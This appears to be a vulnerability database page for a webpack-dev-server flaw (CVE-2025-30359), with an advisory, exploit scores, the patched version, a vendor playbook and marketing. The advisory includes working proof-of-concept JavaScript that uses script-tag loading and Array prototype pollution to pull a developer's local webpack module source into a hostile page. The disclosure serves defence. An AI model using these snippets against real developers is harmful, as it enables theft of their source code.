Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦 npm

GHSA-4v9v-hfq4-rm2v

MEDIUM

webpack-dev-server users' source code may be stolen when they access a malicious web site

Also known asCVE-2025-30359
Published
Jun 4, 2025
Updated
Feb 4, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk34th percentile+0.32%
0.00%0.31%0.62%0.93%0.1%0.4%Dec 25Apr 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected

Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.

webpack-dev-servernpm
19.2Mdownloads / week

Description

Summary

Source code may be stolen when you access a malicious web site.

Details

Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:8080/main.js"> in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. Combined with prototype pollution, the attacker can get a reference to the webpack runtime variables. By using Function::toString against the values in __webpack_modules__, the attacker can get the source code.

PoC

  1. Download reproduction.zip and extract it
  2. Run npm i
  3. Run npx webpack-dev-server
  4. Open https://e29c9a88-a242-4fb4-9e64-b24c9d29b35b.pages.dev/
  5. You can see the source code output in the document and the devtools console.

image

The script in the POC site is:

let moduleList
const onHandlerSet = (handler) => {
  console.log('h', handler)
  moduleList = handler.require.m
}

const originalArrayForEach = Array.prototype.forEach
Array.prototype.forEach = function forEach(callback, thisArg) {
  callback((handler) => {
    onHandlerSet(handler)
  })
  originalArrayForEach.call(this, callback, thisArg)
  Array.prototype.forEach = originalArrayForEach
}

const script = document.createElement('script')
script.src = 'http://localhost:8080/main.js'
script.addEventListener('load', () => {
  console.log(moduleList)
  for (const key in moduleList) {
    const p = document.createElement('p')
    const title = document.createElement('strong')
    title.textContent = key
    const code = document.createElement('code')
    code.textContent = moduleList[key].toString()
    p.append(title, ':', document.createElement('br'), code)
    document.body.appendChild(p)
  }
})
document.head.appendChild(script)

This script uses the function generated by renderRequire.

    // The require function
    function __webpack_require__(moduleId) {
        // Check if module is in cache
        var cachedModule = __webpack_module_cache__[moduleId];
        if (cachedModule !== undefined) {
            return cachedModule.exports;
        }
        // Create a new module (and put it into the cache)
        var module = __webpack_module_cache__[moduleId] = {
            // no module.id needed
            // no module.loaded needed
            exports: {}
        };
        // Execute the module function
        var execOptions = {
            id: moduleId,
            module: module,
            factory: __webpack_modules__[moduleId],
            require: __webpack_require__
        };
        __webpack_require__.i.forEach(function(handler) {
            handler(execOptions);
        });
        module = execOptions.module;
        execOptions.factory.call(module.exports, module, module.exports, execOptions.require);
        // Return the exports of the module
        return module.exports;
    }

Especially, it uses the fact that Array::forEach is called for __webpack_require__.i and execOptions contains __webpack_require__. It uses prototype pollution against Array::forEach to extract __webpack_require__ reference.

Impact

This vulnerability can result in the source code to be stolen for users that uses a predictable port and output path for the entrypoint script.

<details> <summary>Old content</summary>

Summary

Source code may be stolen when you use output.iife: false and access a malicious web site.

Details

When output.iife: false is set, some global variables for the webpack runtime are declared on the window object (e.g. __webpack_modules__). Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:8080/main.js"> in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. By running that, the webpack runtime variables will be declared on the window object. By using Function::toString against the values in __webpack_modules__, the attacker can get the source code.

I pointed out output.iife: false, but if there are other options that makes the webpack runtime variables to be declared on the window object, the same will apply for those cases.

PoC

  1. Download reproduction.zip and extract it
  2. Run npm i
  3. Run npx webpack-dev-server
  4. Open https://852aafa3-5f83-44da-9fc6-ea116d0e3035.pages.dev/
  5. Open the devtools console.
  6. You can see the content of src/index.js and other scripts loaded.

image

The script in the POC site is:

const script = document.createElement('script')
script.src = 'http://localhost:8080/main.js'
script.addEventListener('load', () => {
    for (const module in window.__webpack_modules__) {
        console.log(`${module}:`, window.__webpack_modules__[module].toString())
    }
})
document.head.appendChild(script)

Impact

This vulnerability can result in the source code to be stolen for users that has output.iife: false option set and uses a predictable port and output path for the entrypoint script.

</details>

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmwebpack-dev-serverall versions5.2.1

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for webpack-dev-server. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update webpack-dev-server to 5.2.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-4v9v-hfq4-rm2v is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-4v9v-hfq4-rm2v is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-4v9v-hfq4-rm2v. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary Source code may be stolen when you access a malicious web site. ### Details Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject `<script src="http://localhost:8080/main.js">` in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. Combined with prototype pollution, the attacker can get a reference to the webpack runtime variables. By using `Function::toString` against the values in `__webpack_modules__`, the attacker can get the source code. ### PoC 1. Down
O3 Security · Impact-Aware SCA

Is GHSA-4v9v-hfq4-rm2v in your dependencies?

O3 detects GHSA-4v9v-hfq4-rm2v across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.